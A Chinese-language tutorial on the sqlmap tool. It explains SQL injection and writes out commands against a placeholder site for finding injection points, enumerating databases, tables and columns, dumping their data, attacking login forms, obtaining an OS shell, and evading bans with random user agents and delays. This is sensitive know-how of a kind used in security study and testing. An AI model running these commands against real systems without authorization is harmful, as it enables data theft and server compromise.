sqlmap详细使用教程
SQLmap用户手册
简介
Sqlmap是一个自动化检测和利用
SQL
注入漏洞的免费开源工具,对SQL
注入漏洞进行检测的最佳工具
-
支持对多种数据库进行注入测试,能够自动识别数据库类型并注入
-
支持多种注入技术,并且能够自动探测使用合适的注入技术
如:布尔盲注、时间盲注、联合查询注入、报错注入、堆查询注入 -
能够爆破数据库信息,如用户名,密码
-
能够自动识别哈希密码,并且使用密码字典进行破解.
SQL注入
- 原理:
SQL
注入攻击指的是用户输入了特殊的数据拼接到原本程序的代码中,并且当作了SQL
语句去执行,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。 - 其实就是用户输入了非法的数据被当作数据库的代码执行了。
- 危害:
网站用户信息泄露
纂改网页信息
获取管理员账号密码
上传文件(木马)
流程
一、判断是否存在注入点
二、查询数据库信息
三、根据数据库爆破数据表
四、根据数据库名和数据表名爆破字段名
五、爆破字段里面的数据
命令参数
-
判断注入点:
sqlmap.py -u url
(目标地址)
-u
:指定地址
给出了测试语句的payload
给出了数据库管理系统的版本以及类别,一般还会爆出操作系统版本等等。
-
爆破数据库名:
sqlmap.py -u http://xxx.com/?id=1 --dbs
--dbs
:查看所有数据库名
--current-db
:查看当前使用的数据库
-
爆破数据表名:
sqlmap.py -u http://xxx.com/?id=1 –D 库名 --tables
-D
:指定数据库名
--tables
:查看指定库下面的所有的表名
-
爆破字段名:
sqlmap.py -u http://xxx.com/?id=1 -D 库名 –T 表名 --columns
-T
:指定表名
--columns
:查看指定库的表中的所有字段名
-
爆破所有数据:
sqlmap.py -u http://xxx.com/?id=1 -D 库名 –T 表名 -C 字段名 --dump
-C
:指定字段名
--dump
:根据指定的库、表、字段爆破里面的数据
拓展
Sqlmap
对登陆框(表单)进行注入
使用方式:sqlmap.py -u http://xxx.com/admin/index.php --form
- 伪静态注入
--flush-session
:清除缓存 //简写 –z flu
--level
:共有五个等级,默认为1,等级越高,测试的内容也越多
--risk
:共有四个风险等级,默认是1,等级越高,用来测试的语句也更多
-v
:显示详细扫描信息,共有5个等级
指定SQLmap跑哪种类型的注入方法
--technique
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
--random-agent 随机请求头 默认情况下是sqlmap
--delay=1 每次探测延时1秒(防止访问过快被ban)
--count 查看数据
--level 1-5 等级越高测试的越完整方向越多 (3 会跑head注入)
--risk 2 测试更多丰富的语句
(--level 3 --risk 2)
--is-dba 看当前注入点的数据库权限
--os-shell 直接获取目标的系统权限 只有在dba为true的时候可能
--proxy=http://127.0.0.1:9090
--flush-session 忽略缓存继续跑sql注入
更多推荐
所有评论(0)